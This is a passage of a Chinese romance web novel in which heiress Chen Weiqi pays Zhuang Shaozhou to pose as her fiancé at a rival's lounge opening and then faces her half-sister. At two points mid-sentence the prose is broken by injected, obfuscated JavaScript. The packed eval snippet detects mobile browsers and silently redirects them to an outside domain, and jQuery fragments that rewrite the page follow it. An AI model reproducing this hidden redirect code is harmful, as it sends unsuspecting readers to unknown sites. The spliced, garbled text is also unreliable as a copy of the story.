陈薇奇被迫往后仰,纤细的腰折出弧度,仅有的支点都在他的手臂,她镇定地承接他幽深的视线,反唇相讥:“恐怕不需要我刻意打听,庄少爷的风流韵事就会自己跑到我耳朵里面,反正都人尽皆知了。我就想问问,庄少爷是对别的女人随心所欲惯了,才这样不打招呼就对我搂搂抱抱?” 叮地一声,电梯到了,六十七层。 庄少洲最后看了她几眼,松开了力道,对她的牙尖嘴利很无奈,陈薇奇迅速从他怀里撤离,两人交叠时的温度还残留着,她不自然地拿手抚住那只臂膀。 陈薇奇快步踏出电梯,裙摆纷飞。 “走慢点。”庄少洲大步流星跟上去,提醒她别摔了。 陈薇奇不听,走得更快,像是要甩掉他。 庄少洲就这样亦步亦趋地跟在她身后,视线落在她如霜胜雪的后颈肌肤,快要走到酒廊入口时,他忽然抬手握住她的手臂,“不管你信不信,陈薇奇,我没有前女友。” 她连名带姓喊他,所以他也要连名带姓喊回来? 陈薇奇脚步一停,笑两声,声音甜腻到恶心人,“庄少爷,我还没有傻到这种程度。不过有没有的也不需要对我解释,我又不在乎咯。” 庄少洲僵了一下。她又不在乎。 他真是自找苦吃。早知道她不能惹,还非要招她一下,最后枪林弹雨都返还到他自己身上。 他松开手,几不可察地呼出气息,“不信就不信吧,没指望你信。这件事以后再说。” 陈薇奇不以为意地别过脸,谁跟他以后再说。 庄少洲平静的眸色深处有暗流在缓慢地流动,喉结滚了一下,再次开口时,语气浸着温柔,低着声哄她,“刚才是我招惹你,不如事后再找我算账。现在重要的是陪你进去,都花了这么多钱买我一小时,你也不想浪费掉吧。” 陈薇奇哼了一声,刚想硬气地说她不需要了,就听见他继续说:“陈小姐,我这里不接受撤单。算你五折,一小时一千万好了,也不贵。” 他轻飘飘地说不贵。 陈薇奇心想你不如去抢银行好了!一小时打五折一千万!!但转头一想,他就是开银行的资本家! “是不贵呢,没想到庄先生这么便宜。”陈薇奇优雅地点头。 庄少洲轻轻瞥她一眼,笑了声,忽然有点想抽烟,他忍住一阵从身体隐秘深处泛上来的渴,重新把臂弯给她,优雅的仪态让他看上去风度翩翩。 他真是从头到脚都是标准的,合乎女生一切幻想的贵公子。可谁知道那斯文的西装之下,藏着一具怎样凶猛的,强悍的身体,他仅用一只手臂就能制住她整个人,猝不及防的力量霸道又危险。 他根本不是他表现出来的那般绅士。 陈薇奇当然不蠢,从没觉得庄少洲很绅士,反正她也不是什么任人揉搓的端庄淑女,他敢对她不客气,她就敢带着陈北库砸庄宅,然后让陈北檀收拾烂摊子。 莹润如瓷的手指搭上去,陈薇奇微笑:“一千万,庄先生,你要让我值回票价。” 庄少洲自然是会让她物有所值,不过这不是重要的。 不远处,被弗洛伊德玫瑰花和大型装置艺术妆点的酒廊入口,觥筹交错的光影浮动着,注定了今日这场酒会有多热闹。 他漫不经心,却又有些意味深长地问,“确定吗,陈小姐,进去就不能反悔了。我不接受这种反悔。” 陈薇奇心头一凛。听懂了他这句没头没尾的话。 和庄少洲一起出现在社交场上,就意味着他们的婚事再无回旋的余地,尘埃落定了。 陈薇奇的手指不受控地摩挲了两下,擦着他质地精良的西装。 港岛这样小而喧哗的地方,她要结婚的消息总有一天会传到他的耳朵里。 他会难过,还是祝福,还是…一笑而过?她知道他不会恨她。 陈薇奇不敢再想了,她感受到有一柄不怎么锋利的刀在割着她的神经末梢,令她酸痛。 “进去吧。”她垂下脸,很低地说出来,手指茫然地攥紧他的袖口。 刚刚有多骄傲,尖锐,倔强,当这一切都烟消云散后,就有多易碎和脆弱。 ——鲁伯特之泪。 庄少洲突然想到了这个名词,她真是像极了,坚硬又脆弱,让他不知道该拿她怎么办。他眸色暗下去,把她紧紧揪着他袖口的手指一根根掰开,在她不解的目光中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707376|144213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵住她的手。 她的手很冰,庄少洲用力握紧,神情慵懒,好似在做一件很自然的事——手指从她的指缝中穿过,扣进去。 陈薇奇呼吸微窒,看着他们十指相扣的手,她感觉自己握着一颗火种,灼热地跳动着。 他的体温很高,手指连心,这种温度一直烧进心头,让她一时忘记了很多东西。 只记得这种从未有过的热度。 “等会记得笑漂亮点,未婚妻。” 庄少洲手掌施力,轻地一拽,牵着她往那个纸醉金迷的舞台走去。 . 酒廊今日开业,请来了一些知名艺术家做讲解,为宾客介绍那些看上去晦涩难懂的艺术品、画作。 当然,最重头的还是那幅常玉的小马。易家大小姐在拍卖场上一掷千金,用一点三个亿拍下,时隔一年后,她把这幅画拿来妆点她的酒廊,就挂在最显眼的那面墙上,罩着水晶玻璃。 许多不常露面的客人都是冲着一睹这幅画的真容而来的。 易思龄刚刚在媒体面前完成了这幅画的揭幕仪式,风光正盛,笑意盈盈地接过帅气服务生奉上的香槟,倒入香槟塔。 伴随着金色液体飞流直下,人群中隐隐出现微妙的骚动,许是哪个大人物迟到出场,引来一叠声问好。 易思龄不大高兴了。谁这么嚣张,来她的酒会还敢迟到,但还是保持优雅,不在乎这些,看都不看,直到听清楚那声“庄少”,她敏感地顿了下,抬眸看过去。 这两个字十分钟之前是她们话题的焦点,此时,又成了满场的焦点。 高大英俊的男人在人群中有着鹤立鸡群的卓然,如此风度翩翩,不怪那些眼高于顶的千金名媛迷他恋他讨论他,也不单单是因为他姓庄。 男人牵着陈薇奇的手,礼数周全又不怎么走心地回应着那些寒暄。 灯如清辉,照着他们登对的身影,黑色矜贵倜傥,蓝色清而媚,就像一道招摇的风景,比那幅价值一点三亿港币的画更抢眼。 拿俊男靓女来形容有点词汇贫瘠。 易思龄傻掉,手里的香槟哗啦啦地往下流。 陈薇奇看见易思龄发愣的表情,噗嗤一声笑出来,觉得这一千万花得好值。 她承认,她爽了。 庄少洲正在和人寒暄,蓦地听见这声俏皮的笑,目光回正,问她怎么了,陈薇奇转过头来,笑容仍旧惯性挂在唇边,眸中闪着晶晶亮亮的光芒。 “看见了一些有趣的。”陈薇奇笑着说。 庄少洲怔了下,很克制地握紧她的手。 这是陈薇奇第一次在他面前流露出可爱的一面,无意识地,如此动人。 她是微微上挑的眼型,眼尾略高于眼角,加上眼裂长,双眼皮褶子深,注定了那是一双风情万种眼,不笑或笑得傲慢时,华丽又清冷,一旦笑得明媚就很娇,懒懒的娇媚。 她此时此刻很像一只捉弄了小鸟的狐狸,一点点淘气,一点点得意。 庄少洲看着她,放轻声,似乎怕惊扰她这一点笑容,“什么是有趣的。” “带你去见我的好姐妹。”陈薇奇压低声,随后像特务交接密报,“你拿钱办事。” 庄少洲哼出一丝若有似无的笑意。原来她花一千万就是为了在塑料姐妹面前出口气。 陈薇奇牵着庄少洲走到香槟塔前,经过那几个脸色发白,想打招呼又踟蹰不前的小跟班,她一个眼神也没给,至于陈心棠,她等会再来教训,先排着。 易思龄看着陈薇奇走过来,嘴角不受控地向下垮又要挤出笑容,导致她的表情奇奇怪怪,手紧紧握着那支冰冰凉凉的香槟。 她今天的酒会已经完全变成陈薇奇和她新男人的见面会了。 新男人。 不是上个月才和周霁驰分手吗!陈薇奇换男人的速度怎么比她换衣服的速度还快,而且各个都是鬼咁靓… 易思龄大脑乱糟糟,直到陈薇奇走到她面前,优雅地,随意地,把香槟塔最顶端的那一杯酒轻轻取下来,不动声色地赢得了一场战役的胜利。 易思龄睁大眼睛,那杯酒… 是今天酒会的主人才有资格拿的…… 陈薇奇对易思龄扬了扬香槟,“宝贝,我不需要介绍吧,你不是还评价过庄少是我们圈里唯一几个你看得上脸的男人吗。” “???” 易思龄懵圈。她完全不记得自己说过这种话,不对,就算是说过,这种私下的玩笑话怎么能拿到台面上说啊!?陈薇奇就是在搞她! 庄少洲怎么看不出来这两个女孩之间的暗潮汹涌,他绅士地打圆场,“易小姐,薇薇就喜欢开玩笑。”改为去搂陈薇奇的腰,臂弯温柔地纳她入怀中。 陈薇奇还不太适应在公共场合和庄少洲这样亲昵,刚想提醒他不需要演这么腻,就听见他沉敛、正式的语气:“薇薇说易小姐是她最好的朋友,还说我们今年结婚时一定要请易小姐当伴娘。” 他在说什么?今年结婚?今年还剩不到一半! 陈薇奇表情微变,在庄少洲怀中挣了一下,被他不动声色地按住。 此话一出,场内的骚动越发沸腾,众人互相交换眼神—— 陈庄两家联姻了。 什么酒会什么一个亿的画什么艺术不艺术,都抵不过这桩大事,很快就有恭喜声,随后,恭喜声接连不断,众人争先恐后来敬酒,谄媚地恭维陈薇奇今天美到艳压群芳,夸赞他们是金童玉女,还说什么全港岛再也找不出这样般配的恋人。 易思龄看着完全跑偏的酒会现场,气得脸都发绿。 她给陈薇奇当个屁的伴娘!她现在就要打999!让阿sir把这个抢她风头的女人抓起来!! . 8.老婆 陈薇奇没有想到会出这种岔子,硬着头皮在庄少洲怀里强颜欢笑,身体快要被他的温度烫化了。 一叠声的恭喜听得她心里压抑,还有些烦躁,假装去洗手间的功夫,她把庄少洲拉到无人的地方。 “什么叫我们今年结婚?庄先生,我们可没有商量这个。”陈薇奇烦躁地抱着双臂,腰肢上还残留着他掌心的热度,像无数只蚂蚁爬来爬去。 庄少洲不以为意地笑了笑,慢条斯理地从口袋里摸出银色的金属烟盒,眼神问她可不可以。 其实无所谓,但陈薇奇说不可以。 庄少洲默默把烟盒收回去,“反正要结婚,不是吗?” “你说的是今年。今年。” “今年才七月,还有半年,时间上来得及。” 他的气定神闲让陈薇奇越燥热,“不管今年明年,是你没有与我商量,刚才差点就穿帮了!庄少洲,你凭什么自作主张?我最讨厌的就是不打招呼擅自做我的主!” 庄少洲微眯了下眸,视线在陈薇奇脸上停顿了几秒,他语气听不出太多情绪,“婚期定在今年是你哥说的,Tanya,我以为你和你哥商量过。” 陈薇奇愣住。 陈北檀居然敢背着她应允了她的婚期。 宛如一个海浪打过来,把她卷进了水里,封住了呼吸,窒息的感觉有如实质太强烈,她甚至拿手捂住胸口。 她突然变成这样,庄少洲有些乱了心神,那点烟瘾褪得干干净净,问她怎么了,陈薇奇推开他的手,转身走进女士洗手间。 打开水龙头,把手放在冷水下冲洗,直到身体每一寸皮肤都冷却下来,陈薇奇抬眸看了一眼镜子里的自己——精美而冰冷的面容,瓷样的白,只眼尾泛出一抹淡色的红,濡湿着,让她看上去像个活人,又像艳丽的尸体。 她忽然对着自己笑了下。 庄少洲站在走廊里,手指夹着烟,也没抽,人有些沉冷,一听有动静,利落地揿灭了烟,抬眸看过去。 陈薇奇面色无虞地走了出来,对他笑了笑,“抱歉,刚才是我太激动了。” 庄少洲实在是不喜欢看她这种有气无力还要装作体面高贵的样子,真的很别扭,“陈薇奇,如果你不想太早,我们可以再——” “可以。”陈薇奇打断他的话,漂亮的下巴尖很轻地点了点,“今年可以。” 庄少洲一时没声,只有复杂的目光落在她粉饰太平的笑容上。 其实他想告诉她,有什么不满意的都可以说出来,他们是结婚,不是做生意,没必要连这个都争强好胜。 但对陈薇奇来说,结婚和生意又有什么不同?甚至还不如生意,陈三小姐谈每一桩生意都很尽心。 庄少洲垂在身侧的手指动了动,最后还是把手递给她,掌心向上,“还需要吗?” 是否还需要他做这个工具人。 陈薇奇没有想到他会这么配合,配合到像是在迁就她。她垂下眼睫,看着这只匀称修长的手,极富男性力量感,宛如米开朗琪罗一刀一刀雕刻出来的艺术品。 但这不是冰冷的大理石,是有温度的,是灼热的,会把她的手指紧紧攥入掌心。 周霁驰掌心的温度不会这样灼热,强势,不讲道理,而是像山林中洁净的清晨那样温凉。 唯一有一次,周霁驰的掌心是微微滚烫的。那是周霁驰第一次在公众面前牵她的手,他这样谦逊低调的一个人,笑得意气风发,对着数不清的镜头和话筒,他骄傲说: “对,陈薇奇小姐是我的女友。我们相爱了。” 陈薇奇不知道自己在做什么,是突然不知道的,连她来这场酒会都不知道是为什么,她觉得没意思,她甚至没有力气去找陈北檀吵一架,什么都好没有意思。 就像是处在热带气旋的心脏,所有风力被微妙抵消掉,四周狂风暴雨电闪雷鸣,可她站的地方却什么都没有,安静,安静到令人茫然,好像突然间失去了所有的意义。 她需要一点力把她从这种死一样的安静中推出去。 她需要一点力,出不去,就要死在这种安静里。 “陈薇奇,我发现你很喜欢走神。” “……唔?” 陈薇奇涣散的瞳孔因这道动听的嗓音而聚焦,她麻木地抬起脸,柔软得像一只迷路的小狗,发出连她自己都不知道的气音。 庄少洲看见了她眼尾一点晶莹,宽容地没有戳穿,也没有等她做出是否需要他的决定,他再次把她搂进怀里。 宽大的手掌盖住她线条精美的蝴蝶骨,男人手背上隆起的青筋很欲,圈住她的动作也充满了一种欲.望和占有。 像一场热带气旋,拥抱她,浓烈地入侵她的身体。 陈薇奇罕见地没有挣扎,她的潜意识告诉她,她需要这种强烈的温度,把她从那种茫然不知所措的安静中拉出来。 庄少洲拿指腹抹过她的眼角,语气平静,却带着不容置喙的命令,像压着一场阴雨,“适当的走神可以,但是不要时常胡思乱想。陈薇奇,你不是随随便便能浪费时间的人,你有更重要的事要做,别停在原地太久。” 他知道她在想她的前男友。 但现在有资格抱着她的人是他,他要在她每一次胡思乱想的时候,把她狠狠地,拽出来。 . 酒会一直持续到下午,还有一场品酒沙龙,陈薇奇没有久留,喝了两杯就中途告辞。 易思龄已经不理陈薇奇了,看她要走连眉毛都懒得抬。陈薇奇知道自己今天喧宾夺主,是有些过分,无奈地揉了揉眉心,让庄少洲等她几分钟,随后朝易思龄走去。 庄少洲就在不远处观察这对暗潮汹涌的塑料小姐妹,无聊地转了下腕表。也不知陈薇奇说了什么,对方垮着的脸很快就云开雨霁,甚至笑了起来。 庄少洲挑了下眉尾,觉得还挺有意思。 陈薇奇和易思龄不合的八卦就连他那全是男人的圈子也耳闻过。陈薇奇肯花一千万买他一小时就为了搅乱易思龄的酒局,他并不惊讶,这是陈薇奇能做出来的事,但现在陈薇奇特意过去一趟,不像是找麻烦,倒像是……哄人。 很新奇。庄少洲发现自己并不了解陈薇奇,比他自己预计的程度要少很多。 陈薇奇折返过来,顺势挽上庄少洲的手臂,演戏演全套,离场的时候也要扮演“恩爱未婚夫妻”。 “刚刚说了什么,易小姐看上去心情不错。” 陈薇奇没想到庄少洲对这事有兴趣,看他一眼,“没什么,就是答应她,下个月蕤铂的沪城大秀让她坐第一排的C位。” 顶奢品牌的秀场是最势利,最等级森严的地方,每排座位紧紧相依,却泾渭分明。坐第一排C位看秀的人,不是时尚行业中有绝对话语权的大佬,就是品牌CEO,也有可能是品牌非常看重的全球代言人。 陈薇奇把这个位置许给易思龄,有点纵容乱来的味道,难怪易思龄会被哄得高兴极了,都不计较自己的酒会被搅。 庄少洲的语气意味深长,“我以为你很讨厌她。” 陈薇奇目不斜视,想着进了电梯厅就能松开他了,“庄先生,女人之间的关系不是男人能猜得透的。” 庄少洲勾了唇角,“当然。毕竟女人的心思最难猜。” 陈薇奇笑了声,“庄公子还需要猜女人的心思吗?不该是大把女人把心掏出来读给你听?” 关于他的作风问题真是解释不清了。庄少洲不想解释了,随她把他想成什么不干不净的男人吧。 “陈小姐说是就是吧,只可惜我对你说的这些没兴趣。” 这家酒店太大,走到电梯厅都要些时间,陈薇奇顺着他的话头问:“那庄先生对什么有兴趣呢?” 她问完才发现不妥,她和庄少洲似乎还没有熟到问私生活的地步,她眨了下眼睛,继续若无其事地目视前方。 气氛安静了几秒,陈薇奇感觉有一道视线落过来,相当浓稠,等她偏头去看,那丝如有实质的热意又不见了,只剩下男人神色自若的侧脸。 “赚钱。”他散漫地开口。 “………”陈薇奇无语,“你已经很有钱了,庄先生。我记得去年的港岛继承人财富榜,你以五百亿的个人身价荣登榜首。” 这个数字并不准确,也不算整个庄家几千亿的家族财富。庄少洲才二十八岁,尚未完全继承父母的财富,如今的身价一半是因为他入主了盛徽银行,一半是因为他在二十三岁时创立的一洲创投集团。 “怎么连我个人身价有多少都清清楚楚?”庄少洲笑着看她,鲜明的英俊中带点儿玩世不恭,“那些媒体也不好好做背调就随便糊弄个数字。我若是只有这点东西,怎么敢娶你。” 他说最后一句时压得很低,磁嗓透出一股暗欲,陈薇奇被他撩得耳尖发麻,这种暧昧让她下意识想逃,好在拐弯就到了电梯厅,她倏地抽回自己的手,“你……” 还没来得及说什么,陈薇奇余光里多出一道人影。是陈心棠,刚才在酒廊里一直没有看见她,没想到居然在这里撞到了。 陈薇奇反应堪称精准而完美,无比自然的靠回男人肩头,笑容很是甜美。 她抬起手整理庄少洲的领带夹,温柔得像那种会为丈夫准备早餐的妻子,“亲爱的,领带夹歪了呢,我帮你。” “…………” 庄少洲身形僵了下,嗅到她发间的香气,像蝴蝶一样远去了又飘过来,他没有动,由着她整理并没有挪动分毫的领带夹。 纤纤玉指胡乱拨弄了几下,弄得他胸口瘙痒。 “Tanya。”陈心棠讪讪地看着眼前这一幕,并不是很能笑出来,但素养使然,她挤出一个笑。 陈薇奇好似没有看见她这个人,只是认真整理完领带夹,又拂了拂男人做工精良考究的西装肩,“正好这次蕤铂新出了一款领夹,红宝石的,很衬你。这两天我就给你拿来。” 庄少洲欣然笑纳:“谢谢宝贝。” 陈薇奇:“…………” 她飞快瞥开眼,头顶落了声漫不经心的轻笑,她讨厌庄少洲一边配合她演戏一边洞悉她的幼稚,不情不愿地挽着他,脸转向陈心棠的方向。 她惊讶得很浮于表面,“Emily,你怎么在这啊,不参加你易姐姐的沙龙啦?” Bitch!陈心棠活生生吃了一口苍蝇,还只能咽下去,“我下午还有事,就先走了。” “这样。”陈薇奇笑笑,“不过Mia这人呢,有点不讲道理,不喜欢别人提前走。我给你个建议,你还想继续认她当姐姐的话,最好打道回去。” 陈心棠赔笑,“我有自己的姐姐,认她做姐姐算什么。姐夫还在这呢,家姐……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13720142|144213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “闭嘴。”陈薇奇利落地收起笑容,一张脸不笑时,像月光照着清霜,只剩下刺眼的冷色。 陈心棠是相当能屈能伸的,也自有一番本事,不然也不可能在陈北檀和陈薇奇的夹击之下,还能在陈家有立足之地。 陈心棠笑容不变,上前一步,温柔地换了话题:“Tanya,我妈咪上午烤了一些玛德琳,特意做了你喜欢的香橙口味,还有大哥喜欢的海盐,你什么时候有空啊,她交代我,让我跟你和大哥送过去。” 陈薇奇没有说话,睫毛颤了颤。庄少洲感觉到环住他胳膊的那只手有些微微的,不自然地僵硬。 她说:“不用了,替我谢谢静姨,转告她,以后不必做我这份。” 陈心棠笑了笑,垂下脸,“那怎么可能。你又不是不知道我妈咪这人,你喜欢什么她向来记得最清楚,连我喜欢什么都可以忘记。一直都是这样。” 对方语气如此轻飘,也不只是做戏还是真的顾影自怜,一时间连空气都微妙了起来。 庄少洲听过一些关于陈家的秘闻,说陈董事长陈煊中年轻时交往过一位非常喜爱的女友,可惜门不当户不对,一直被陈家拒之门外。陈家很早就为长子订下一门婚事,活生生棒打鸳鸯,拆散了这对有情人,据说用的手段很脏,还差点闹出人命。 和曾家大小姐结婚后几年,陈煊中忘不掉旧爱,和这位初恋短暂地来往了一段日子,后来不知因为什么又断掉,直到十多年后,两人突然爆出有孩子。 这是当年闹得满城风雨的豪门秘闻。 庄少洲看了看陈薇奇,复杂的眼神中带着怜惜。 陈薇奇没有察觉到庄少洲的目光,只是攥紧了庄少洲的袖口,整个人濒临厌烦的边缘,又挟了深深的疲倦,她没有情绪地说:“Emily,你不用什么时候都把静姨搬出来,她不是你的挡箭牌。” 陈心棠耸耸肩,“我知道,我是我,她是她嘛。你讨厌我可以,但我妈咪对你的那些好是真的…” “烦死了,你到底想说什么啊?”陈薇奇突然不耐烦地扬高声音。 陈心棠深吸气,看着陈薇奇,又讨好地看了一眼庄少洲,“Tanya,今天的事是我对不起你,我不该说那些话,你怪我就怪我,别牵扯宏锴,好吗。” 陈薇奇冷笑,“怎么,你是怕我在你未婚夫那边说什么吗?我还没无聊到去见郑宏锴。” 郑宏锴也是陈薇奇高中那一届的校友,关系虽然止步于校友,但也比一般社交场上的点头之交要更近,是说得上话的。 “宏锴最近在他大哥手底下做事……”陈心棠看了看庄少洲,欲言又止。 陈薇奇情绪不佳,一时没转过弯,倒是庄少洲笑了,捏了捏陈薇奇圆润的手指,“宝贝,阿珺是我发小,你若是有需要他的地方,我可以替你转达。” 那声宝贝叫得又温柔又缱绻,令人头皮都酥热了。 陈薇奇心想庄少洲是不是演上瘾了,又想他这人真的好轻佻,不过她的注意力没这么不集中,当场就明白了陈心棠在这守株待兔是为什么。 庄少洲和郑启珺同是顶级豪门的继承人,家境、年纪都相仿,又从小一起长大,可以说比亲兄弟还亲。只要庄少洲开口,郑宏锴根本别想在郑家有什么作为,陈心棠为此着急上火,生怕陈薇奇睚眦必报。 陈薇奇当然是睚眦必报的人,她还是彻头彻尾的商人头脑。 庄少洲是假装给她撑腰,真要拜托他帮什么忙,他不见得好说话,但既然花了一千万,就要让这一千万花得淋漓尽致。 “那就谢谢亲爱的了,说不定真有需要帮忙的地方呢。”陈薇奇装作欣喜的样子,难得把自己那把天赐的好嗓音弄得嗲兮兮,甜腻腻。 庄少洲眸色浑热,被结结实实地嗲到了。 陈心棠的脸色更白了。 陈薇奇擦过陈心棠的肩,按下电梯键,是结束这场交谈的信号。她收回手时,漫不经心地说,“Emily,以后别来我面前蹦跶,管住你这张嘴,离易思龄远一点,我回陈公馆的时候不想看见你也在,以上任何一条没有做到——” “叮”一声,价值不菲的黄铜材质电梯门如画轴铺开,露出钻光闪耀的轿厢。 星顶酒店的电梯速度是出名的快,十台电梯同时供应,从没有等很久还等不到的情况。 “那我就只能请我老公帮忙了。” 老公…… 庄少洲慢条斯理地跟着陈薇奇进了电梯,手臂自然圈上她腰肢,骨节分明的手指握上那道弧度,“小事而已,老婆,我这边的朋友都随你使唤。” 电梯缓慢阖上。 直至看不见缝隙,陈薇奇红着脸,飞快从庄少洲手臂中挣脱出来,下巴高傲地扬起。 庄少洲的手臂还悬在空中,一时间空了,指腹留恋地搓了下,随后自然插进裤兜。他笑着观摩她骄傲的样子,低声道:“老婆这是要卸磨杀驴?” “!!” 谁准他还喊她老婆!已经演完了! 陈薇奇是想杀了他,把他的咸猪手剁成八块,八十块! 她一字一顿:“庄先生,您在这一小时里吃我豆腐吃爽了吗!?” 明明是她买他的钟,她是老板,她是出钱的人,可她现在浑身都是他的味道,浑身都是,像是被一头野兽标记了。 . 9.烟花坠落 这话就有点侮辱人了,庄少洲玩世不恭地想着,他也没这么下流吧? 明明是她的腰太好握,一只手臂能完全将其圈住,那种精巧的弧度,那种恰如其分的温度,香味,柔软,都令他有些心驰,没有故意要吃她豆腐。 社交场上的男女难免有肢体接触,况且不搂一搂,抱一抱,如何能达到她想要的目的。 是她说,合格的老公需要宠她,黏她。 “陈小姐,我没这么下流。”他轻描淡写。 “是呢,只是找机会就摸我而已,一点也不下流。” 庄少洲失笑,用词这么严重?他倜傥地靠着轿壁,非常松弛的站姿,“搂你的腰不算摸吧,难不成牵你的手也算摸?” 陈薇奇偏过脸,她腰肢那块还在发热,酸软得不行,关键是他吃她豆腐,她还要给他付一千万,实在咽不下这口气,“为什么不算!” 庄少洲无奈地勾起唇角。 行吧,他承认,是他心痒难耐,找到机会就去搂她,有点故意,也有点轻浮。男人欲盖弥彰地咳了下,换了温沉的语气哄她:“你说算就算,是我下流,我想摸你想吃你豆腐想——” “你还想什么?”陈薇奇板着脸。 庄少洲微眯了下眸,深深地看她一眼,没再继续往下说。 再说就不可避免的下流了。 陈薇奇懒得和他掰扯。 两人就这样安静地共处在密闭的空间,庄少洲偶尔拿余光去看她,看她如天鹅般优美的后颈,直到陈薇奇感觉不对劲,一抬头,那电梯还停在酒廊那层,一动不动。 “庄少洲你没按电梯?” 庄少洲怔了一秒,这才分出心思去看楼层显示,那静止的69仿佛在嘲笑他走神到如此荒唐的地步。 一片尴尬中,庄少洲按下G层,低着嗓解释:“抱歉,刚刚想工作去了。最近有点忙。” 末了,才发现这句解释真是超级无敌画蛇添足。 . 黑色的雷克萨斯lm恭候在酒店朝北的侧门,这里清幽静谧,没有讨人厌的媒体蹲守。 陈薇奇上车后,把钥匙交给司机,让他今晚把阿斯顿马丁开到她的公寓车库,又打电话给她的财务经理,让查一下她在盛徽银行的私人账户,看上面有多少钱。 陈家在九十年代就成立了独立的家族办公室,四十多位来自世界各地的精英组成了最顶级的金融团队,专门为陈家打理几千亿的家族资产,每位子女都有专属的财务经理。这是港岛顶级富豪圈里很常见的操作。 美悠笑着问:“怎么想起查这个,这可不是您经常用的银行。” 陈薇奇托着腮,看着车窗外飞速倒退的风景,“同一个银行转账没有手续费。” 她不想在臭男人身上多浪费一个钢蹦! 美悠噎了下,好吧,手续费,离大小姐好遥远的名词。 几分钟后,来自菲奥娜的电话拨进来,陈薇奇接通,对面的声音沉稳有力,是一位非常杀伐决断的精英女性。陈薇奇评价菲奥娜是一根永远往上走的股票走势线,因为菲奥娜每年都会给她带来一份超出想象的收益。 “大小姐,您在盛徽的账户一共有六千万港币的理财,两千四百万港币现金,七百万美金的理财,还有接近三百万的人民币现金。” 陈薇奇:“我刚给你发了一个账号,你转一千万港币过去。” “现在吗?” “现在。” 对面大概是在操作,又问,“需要留言吗?” 陈薇奇沉吟了几秒,“演出费。” “抱歉,再确认一遍,是演出费吗? ”菲奥娜提醒,“大小姐,如果是请了明星来演出,可以用公司账户打款。” “不用走公司,是我的个人行为。” 对方没再多问,只不过挂了后没隔几分钟又打过来,陈薇奇问怎么了,菲奥娜提醒她看一下手机短信,说这个账户又转过来一笔。 “您亲自确认一下为好。而且…”对面顿了一下,“留言有些奇怪。” 陈薇奇蹙眉,点开来自盛徽银行的短信提示:【尊敬的陈小姐,您尾号1177的账户于7月18日02时35分收入港币汇款50,000,000.00,对方账户:庄少洲,留言:赔豆腐费。】 “!!!” 陈薇奇一时脸颊涌上热意,把手机扔到一边,“赔一个亿都是臭流氓!” 美悠转过脸来,难得看见大小姐脸红,这一个月以来,大小姐都是冷冷淡淡的,像一具没有情绪的艳尸,仿佛随时随地都要湮灭在一种深而静的空虚中。美悠时常陪着,都觉得那种安静很难受。 现在像个活人了,会笑会生气会骂人。 “谁敢对我们大小姐耍流氓啊。”美悠故意开玩笑,“不会是庄公子吧,他真人好有感觉,又斯文又欲,而且是你喜欢的身材噢。” 修长,强壮,肌肉紧实,胸围大,宽肩腿直,而且穿衣必须显瘦。 陈薇奇喜欢这种比较养眼的身材。 “我喜欢什么你知道啊!”陈薇奇瞪美悠一眼,从储物格里捞出隔光眼罩。 陈薇奇戴上眼罩,因此没有看见窗外的风景。 匀速行驶在闹市区的雷克萨斯正经过一座繁华的高档商场,巨幅广告占据整座商场一半的外墙,堪称大手笔。 那是一个大牌新款香水的广告,画面上是一张过分精致的男性脸,阳刚中又有一丝丝阴柔,气质清冷禁欲,带着一种标志性的忧郁,丝绸衬衫的深V领泄露出隆起的胸肌轮廓,脖子上绕着一圈珍珠配饰。 他手上拿着一瓶玫瑰色的香水,轻轻贴上唇瓣,那双如清晨薄雾的眼睛平静地看向某处。 雷克萨斯转弯,载着陈薇奇和这幅海报擦身而过,去向完全不同的远方。 . Reberi总部最近的气氛很紧绷,上到高层,下到各小组实习生都打起万分精神,形象广告开始在全球各大社交网站上投放,邀请函寄送完毕,布置场地的物料有条不紊地运输至沪城港口,模特,图册,妆造,不同等级的代言人的秀场look也初步敲定。 离百年大秀倒计时十三天。 陈薇奇连遛狗的时间都没有,只好每天上班都把宝宝带着,伪装出门玩了。宝宝是大聪明,这点小伎俩怎么骗得了,冲陈薇奇嗷嗷叫,它想去公园玩飞盘,也想去浅水湾的沙滩刨寄居蟹。 “可是我没空呀!”陈薇奇瞪着小狗,手上拿着一本装订精美的新品图册。 “嗷呜……”小灵缇的尾巴像疯狂的螺旋桨,快要甩上天,咬住陈薇奇的裙摆,要把她往外拽。 “喂喂喂!你个傻狗!小心把珍珠吞进去!” 陈薇奇今天穿了一件很复杂的裙子,裙摆上全是用珍珠绣的花,上身则是简约的白色西装马甲,拿丝巾代替项链,很时髦的造型。 她是公认的会穿衣,品味高级又有艺术感。媒体们总喜欢把她和易思龄拿来比较,一个珠光璀璨,一个沉静华丽,各有各的贵气。 宝宝拽不动陈薇奇,可怜汪汪地看着她。 是一通电话打破了一人一狗大眼瞪小眼的局面。 陈薇奇很坏地弹了下小狗尾巴,“等会收拾你!不听话的坏小狗!”她捞起手机,来电显示上好大三个字,陈北檀。 她扯了扯唇角,滑动接听。 “在忙?”对方还是没有温度的死人声音,陈薇奇都能想象他的表情,肯定也是死人表情。 “是啊,忙,您最好三句说完。” “我最近没惹你吧,薇薇。”对方很无奈地笑了笑。 陈薇奇冷笑,对他在背地里做的那些事一个字都懒得提,还不到吵架的时候,她不喜欢隔着电话吵架,“陈北檀,有屁快放。” 